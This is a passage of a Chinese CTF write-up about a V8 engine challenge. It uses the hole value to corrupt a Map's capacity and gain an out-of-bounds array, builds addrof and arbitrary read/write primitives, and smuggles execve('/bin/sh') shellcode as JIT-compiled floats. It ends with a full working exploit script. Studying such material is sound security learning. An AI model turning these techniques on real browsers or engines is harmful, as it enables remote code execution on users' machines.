0x14080004baec: 0x000023e1 0x000023e1 0x000023e1 0x000025d5
  • 新写入的 0x10(JS num:8) 覆盖了 table + 0x10 的位置(Bucket data[-1]),而上面提到这个位置就是 Map capacity
  • 正因为如此,存储桶被扩展了,元素 Entry 的位置也会改变(其实这里并不是 Entry 的位置发生了改变,而是 V8 为了预留 Bucket data 的空间,而认为 Entry 的位置向后进行了移动)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> job 0x14080004baad
0x14080004baad: [OrderedHashMap]
- FixedArray length: 17
- elements: 0
- deleted: 0
- buckets: 8
- capacity: 16
- buckets: {
0: -1
1: -1
2: 0x1408000023e1 <undefined>
3: 0x1408000023e1 <undefined>
4: 0x1408000023e1 <undefined>
5: 0x1408000023e1 <undefined>
6: 0x1408000023e1 <undefined>
7: 0x1408000023e1 <undefined>
}
- elements: {
}

因此修改 POC 为:

1
2
3
4
5
6
7
8
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);
  • 打印 JSMap 和 JSArray 对象的内存信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
d8> %DebugPrint(m)
DebugPrint: 0x233e0004ba25: [JSMap]
- map: 0x233e001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x233e00186431 <Object map = 0x233e00186319>
- elements: 0x233e00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x233e0004bacd <OrderedHashMap[17]>
- properties: 0x233e00002259 <FixedArray[0]>
- All own properties (excluding elements): {}

......

d8> %DebugPrint(oob_arr)
DebugPrint: 0x233e0004bb19: [JSArray]
- map: 0x233e0018e6bd <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x233e0018e11d <JSArray[0]>
- elements: 0x233e0004bb29 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x233e00002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x233e00006551: [String] in ReadOnlySpace: #length: 0x233e00144255 <AccessorInfo name= 0x233e00006551 <String[6]: #length>, data= 0x233e000023e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x233e0004bb29 <FixedDoubleArray[2]> {
0: 1.1
1: 2.2
}

......
  • oob_arrm->table 的位置很接近(0x233e0004bacd + 0x4c == 0x233e0004bb19
1
2
pwndbg> x/20xw 0x233e0004bb19-1
0x233e0004bb18: 0x0018e6bd 0x00002259 0x0004bb29 0x00000004
  • oob_arr+0x8table+0x54):oob_arr->elements
  • oob_arr+0xctable+0x58):oob_arr->length

先执行一次 m.set(0x10,-1) 后再次打印 table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> job 0x233e0004bacd
0x233e0004bacd: [OrderedHashMap]
- FixedArray length: 17
- elements: 0
- deleted: 0
- buckets: 16
- capacity: 32
- buckets: {
0: -1
1: -1
2: 0x233e000023e1 <undefined>
3: 0x233e000023e1 <undefined>
4: 0x233e000023e1 <undefined>
5: 0x233e000023e1 <undefined>
6: 0x233e000023e1 <undefined>
7: 0x233e000023e1 <undefined>
8: 0x233e000023e1 <undefined>
9: 0x233e000023e1 <undefined>
10: 0x233e000023e1 <undefined>
11: 0x233e000023e1 <undefined>
12: 0x233e000023e1 <undefined>
13: 0x233e000023e1 <undefined>
/* 到这里已经进入oob_arr的区域了 */
14: 0x233e0018e6bd <Map[16](PACKED_DOUBLE_ELEMENTS)>
15: 0x233e00002259 <FixedArray[0]>
}
- elements: {
}
  • 由于 Map 的容量被覆盖为32,这意味着存储桶扩展到16
  • 由于存储桶的扩展,元素指针 Entry 向后移动了 (16-2)*0x4 = 0x38 字节
  • 所以,之前映射键的第一个元素 Entry 存储在 table+0x1c 中,现在它将存储在 table+0x54
1
2
3
pwndbg> x/30xw 0x233e0004bacd-1+0x54
0x233e0004bb20: 0x0004bb29 0x00000004 0x00002ac1 0x00000004
0x233e0004bb30: 0x9999999a 0x3ff19999 0x9999999a 0x40019999
  • 但是 table+0x54 是存储的元素 oob_arr 指针,table+0x58oob_arr 长度
  • 因此,在损坏之后,如果我们第三次调用 map.set,它将覆盖 oob_arr 元素的指针和长度,通过进一步的技术,我们将能够使用损坏的 oob_arr 作为我们的读写基元
1
2
3
4
d8> m.set(oob_arr, 0xffff);
[object Map]
d8> oob_arr.length
65535
1
2
3
pwndbg> x/30xw 0x233e0004bacd-1+0x54
0x233e0004bb20: 0x0004bb19 0x0001fffe 0xfffffffe 0x00000004
0x233e0004bb30: 0x9999999a 0x3ff19999 0x9999999a 0x40019999
  • oob_arr 的长度已经被修改了,完成了 Array OOB 数组越界

现在我们有一个可以进行 OOB 读写的数组,为了控制 RIP,我们需要能够执行:

  • addrof:获取对象的地址
    • 创建一个名为 victims 的新变量,它是一个空对象的数组
    • 将目标对象分配给 victims 数组的元素之一
    • 使用从 oob_arr 读取的 OOB,读取受害者元素的存储值(即目标对象地址)
1
2
3
4
5
6
victim = [{}, {}, {}, {}];
function addrof(in_obj) {
mask = (1n << 32n) - 1n
victim[0] = in_obj;
return ftoi(oob_arr[12]) & mask;
}
  • read:读取给定地址的值(RAA)
    • 创建一个名为 read_gadget 的数组,该数组由浮点值组成
    • 使用 OOB 从 oob_arr 写入,利用溢出覆盖 read_gadget[0],使其指向 target_addr-0x8(数组的第一个元素存储在 elements+0x8 中)
    • 返回 read_gadget[0]
1
2
3
4
5
read_gadget = [1.1, 2.2, 3.3];
function weak_read(addr) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
return ftoi(read_gadget[0]);
}
  • write:将值写入给定地址(WAA)
    • 前面和 read 类似
    • 但我们没有返回 read_gadget[0]
    • 而是为 read_gadget[0] 分配了我们所需的值
1
2
3
4
function weak_write(addr, value) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
read_gadget[0] = itof(value);
}

接下来我们需要寻找控制 RIP 的方法(劫持程序的执行流)

实际上,可以通过 JIT 喷射攻击来走私 shellcode 代码:(绕过 sandbox)

  • 我们可以做的是将我们的 shellcode 转换为浮点数,以便我们的浮点数十六进制按原样存储在 Jitted 函数区域中
  • 实例代码如下:
1
2
3
4
5
6
7
8
9
10
const foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
  • JavaScript 中定义的浮点实际上是走私的 shellcode
  • 它将执行 sys_execve('/bin/sh')
  • 由于该函数被调用了很多次,因此 v8 将对代码进行 JIT(启用 TURBOFAN)

使用 GDB 打印内存信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
d8> %DebugPrint(foo)
DebugPrint: 0xc25002c278d: [Function] in OldSpace
- map: 0x0c2500184241 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0c25001840f5 <JSFunction (sfi = 0xc2500145dfd)>
- elements: 0x0c2500002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x0c2500199f11 <SharedFunctionInfo foo>
- name: 0x0c2500199ea5 <String[3]: #foo>
- formal_parameter_count: 0
- kind: ArrowFunction
- context: 0x0c250019a005 <ScriptContext[3]>
- code: 0x0c250019a2dd <CodeDataContainer TURBOFAN>
- source code: ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
- properties: 0x0c2500002259 <FixedArray[0]>
- All own properties (excluding elements): {
0xc2500006551: [String] in ReadOnlySpace: #length: 0x0c25001442fd <AccessorInfo name= 0x0c2500006551 <String[6]: #length>, data= 0x0c25000023e1 <undefined>> (const accessor descriptor), location: descriptor
0xc2500006799: [String] in ReadOnlySpace: #name: 0x0c25001442e5 <AccessorInfo name= 0x0c2500006799 <String[4]: #name>, data= 0x0c25000023e1 <undefined>> (const accessor descriptor), location: descriptor
}
- feedback vector: 0xc250019a0c9: [FeedbackVector] in OldSpace
- map: 0x0c250000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 1
- shared function info: 0x0c2500199f11 <SharedFunctionInfo foo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 214279
- profiler ticks: 0
- closure feedback cell array: 0xc2500003511: [ClosureFeedbackCellArray] in ReadOnlySpace
- map: 0x0c2500002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 0

- slot #0 Literal {
[0]: 0x0c250019a185 <AllocationSite>
}
0xc2500184241: [Map] in OldSpace
- type: JS_FUNCTION_TYPE
- instance size: 28
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- callable
- back pointer: 0x0c25000023e1 <undefined>
- prototype_validity cell: 0x0c25001443cd <Cell value= 1>
- instance descriptors (own) #2: 0x0c2500184269 <DescriptorArray[2]>
- prototype: 0x0c25001840f5 <JSFunction (sfi = 0xc2500145dfd)>
- constructor: 0x0c2500002261 <null>
- dependent code: 0x0c25000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
  • 请注意,foo 方法中有一个名为 code 的属性,其中基于 gdb 中的检查,偏移量为 foo+0x18
  • 接下来打印 code 属性的信息:
1
2
3
4
5
6
7
8
pwndbg> job 0x0c250019a2dd
0xc250019a2dd: [CodeDataContainer] in OldSpace
- map: 0x0c2500002a71 <Map[28](CODE_DATA_CONTAINER_TYPE)>
- kind: TURBOFAN
- is_off_heap_trampoline: 0
- code: 0x55e3400042c1 <Code TURBOFAN>
- code_entry_point: 0x55e340004300
- kind_specific_flags: 4
  • code:指向 jitted code 区域(code + 0x8
  • code_entry_point:指向 jitted code 指令的开头(code + 0xc
1
2
3
4
pwndbg> job 0x55e3400042c1 /* jitted code */
0x55e3400042c1: [Code]
- map: 0x0c250000264d <Map(CODE_TYPE)>
- code_data_container: 0x0c250019a2dd <CodeDataContainer TURBOFAN>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> telescope 0x55e340004300 /* code_entry_point */
00:00000x55e340004300 ◂— mov ebx, dword ptr [rcx - 0x30]
01:00080x55e340004308 ◂— 0x1fe88e70850f0117
02:00100x55e340004310 ◂— push rbp
03:00180x55e340004318 ◂— sub esp, 8
04:00200x55e340004320 ◂— xchg bl, bh
05:00280x55e340004328 ◂— add bh, cl
06:00300x55e340004330 ◂— cmp qword ptr [r13 + 0xcf08], rdi
07:00380x55e340004338 ◂— xchg byte ptr [rbx], dl
08:00400x55e340004340 ◂— cmp byte ptr [rcx - 0x77], cl
09:00480x55e340004348 ◂— add rcx, 1
0a:00500x55e340004350 ◂— add al, byte ptr [rax]
0b:00580x55e340004358 ◂— add ecx, dword ptr [r8 + rax]
0c:00600x55e340004360 ◂— jbe 0x55e340004322
0d:00680x55e340004368 ◂— stc
0e:00700x55e340004370 ◂— 0x68732f68ba4907
0f:00780x55e340004378 ◂— pop rax

使用 WAA,让我们通过移动其存储值来覆盖此 code_entry_point,以指向我们的第一个走私 shellcode,以便当我们调用 foo 时,它将跳转并执行我们构建的 shellcode

  • PS:最好将目标 JIT 代码放在文件的顶部,这样它就不会弄乱我们创建的 WAA

最后的入侵步骤:

  • 执行 addrof(foo) 获取 foo 对象的地址
  • 使用 weak_read 获取 foo+0x18foo->code
  • 使用 weak_read 获取 foo->code+0xcfoo->code->code_entry_point
  • 使用 weak_writefoo->code 处覆盖上 foo->code->code_entry_point+shift_offset(其中 shift_offset 是起始 JIT 代码指令到走私的 shellcode 代码之间的距离)

通过调试来寻找 shift_offset 的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x5577a0004b00
00:00000x5577a0004b00 ◂— mov ebx, dword ptr [rcx - 0x30]
01:00080x5577a0004b08 ◂— 0x1fe88670850f0117
02:00100x5577a0004b10 ◂— push rbp
03:00180x5577a0004b18 ◂— sub esp, 8
04:00200x5577a0004b20 ◂— xchg bl, bh
05:00280x5577a0004b28 ◂— add bh, cl
06:00300x5577a0004b30 ◂— cmp qword ptr [r13 + 0xcf08], rdi
07:00380x5577a0004b38 ◂— xchg byte ptr [rbx], dl
pwndbg>
08:00400x5577a0004b40 ◂— cmp byte ptr [rcx - 0x77], cl
09:00480x5577a0004b48 ◂— add rcx, 1
0a:00500x5577a0004b50 ◂— add al, byte ptr [rax]
0b:00580x5577a0004b58 ◂— add ecx, dword ptr [r8 + rax]
0c:00600x5577a0004b60 ◂— jbe 0x5577a0004b22
0d:00680x5577a0004b68 ◂— stc
0e:00700x5577a0004b70 ◂— 0x68732f68ba4907
0f:00780x5577a0004b78 ◂— pop rax

其实这个 shellcode 的开头有一处很明显的特征:

1
2
3
0:   68 2f 73 68 00          push   0x68732f
5: 58 pop rax
6: eb 0c jmp 0x14
  • 通过 0x68732f 就可以快速定位 shellcode
1
2
3
pwndbg> telescope 0x5577a0004b00+115
00:00000x5577a0004b73 ◂— push 0x68732f /* 'h/sh' */
01:00080x5577a0004b7b ◂— vmovq xmm0, r10
  • shift_offset 的值就是“115”

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);
m.set(0x10, -1);
m.set(oob_arr, 0xffff);
victim = [{}, {}, {}, {}];
read_gadget = [1.1, 2.2, 3.3];
function addrof(in_obj) {
mask = (1n << 32n) - 1n
victim[0] = in_obj;
return ftoi(oob_arr[12]) & mask;
}
function weak_read(addr) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
return ftoi(read_gadget[0]);
}
function weak_write(addr, value) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
read_gadget[0] = itof(value);
}
f_foo = addrof(foo);
f_code = weak_read(f_foo+0x18n) & ((1n << 32n) - 1n);
f_code_code_entry_point = weak_read(f_code+0xcn);
weak_write(f_code+0xcn, f_code_code_entry_point+115n);
foo();

小结:

本人对 V8 不是很了解,只是之前复现过一些 JavaScript pwn

比赛时 V8 的环境我搭了很久,搭好后也不会做题,这个题就当是 V8 入门吧

全程模仿官方 wp,原文如下:

文章全英文,锻炼了一下阅读英语论文的能力

学习到的知识如下:

  • JS 对象内存信息布局

  • JavaScript Hole 漏洞

  • Tagged Pointer

  • JavaScript Sandbox 以及其绕过手法

  • Map 对象原理以及 OrderedHashMap

  • V8 的编译以及调试手法